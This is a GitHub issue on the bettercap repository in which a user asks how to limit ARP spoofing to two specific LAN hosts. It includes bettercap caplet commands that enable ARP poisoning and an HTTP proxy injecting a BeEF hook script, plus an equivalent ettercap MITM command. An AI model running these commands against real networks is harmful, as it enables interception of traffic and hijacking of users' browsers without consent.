#635·bettercap

How to arp spoof specfic targets

Author: um3ha4aCreated Oct 10, 2019Updated Jul 29, 2025

Environment

Please provide:

  • Bettercap version you are using ( bettercap -version ). bettercap v2.24.1 (built for linux amd64 with go1.11.6) [type 'help' for a list of commands]
  • OS version and architecture you are using. kali
  • Go version if building from sources.
  • Command line arguments you are using. bettercap -caplet beef-active.cap -eval "set arp.spoof.targets 172.16.56.144,172.16.56.150;"
  • Caplet code you are using or the interactive session commands.
    set http.proxy.script /usr/share/bettercap/caplets/beef_inject.js

    http.proxy on

    set arp.spoof.whitelist 172.16.56.1-143,172.16.56.145-149,172.16.56.151-254

    set arp.spoof.internal true

    sleep 1

    arp.spoof on

Steps to Reproduce

  1. First Step
  2. Second Step
  3. and so on...

I want to arp spoof between A(172.16.56.144) and B(172.16.56.150), so in A's arp cache I can see B is my kali's mac address, and any other hosts' mac address is original, in ettercap the command is: ettercap -i eth0 -Tq -M arp:remote /172.16.56.144// /172.16.56.150// In bettercap I don't know how to achieve this, the default command make me spoof the gateway, and I read bettercap docs, try to use whitelist to only spoof 144 and 150, but when bettercap is running, I still see every hosts' arp is my kali's arp